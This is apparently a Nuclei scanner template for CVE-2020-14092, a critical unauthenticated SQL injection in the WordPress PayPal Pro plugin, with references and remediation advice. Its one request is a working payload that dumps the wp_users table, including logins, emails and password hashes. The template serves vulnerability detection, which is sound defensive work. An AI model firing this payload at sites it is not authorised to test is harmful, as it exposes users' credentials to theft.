id: CVE-2020-14092

info:
  name: WordPress PayPal Pro <1.1.65 - SQL Injection
  author: princechaddha
  severity: critical
  description: WordPress PayPal Pro plugin before 1.1.65 is susceptible to SQL injection via the 'query' parameter which allows for any unauthenticated user to perform SQL queries with the results output to a web page in JSON format.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to the latest version of the WordPress PayPal Pro plugin (1.1.65 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10287
    - https://wordpress.dwbooster.com/forms/payment-form-for-paypal-pro
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14092
    - https://wordpress.org/plugins/payment-form-for-paypal-pro/#developers
    - https://wpvulndb.com/vulnerabilities/10287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14092
    cwe-id: CWE-89
    epss-score: 0.9453
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:ithemes:paypal_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ithemes
    product: paypal_pro
    framework: wordpress
  tags: cve,cve2020,wp-plugin,sqli,paypal,wpscan,wordpress,ithemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '"user_login"'
          - '"user_email"'
          - '"user_pass"'
          - '"user_activation_key"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022012f9b97e65c21f5fe502c19dc51324f5a6f0b15264641e5cde7f06d7d3da045b02210082ce7f866ff6a4de88552a74216806ae80b31d42385a1ce40b50d32fca934e41:922c64590222798bb761d5b6d8e72950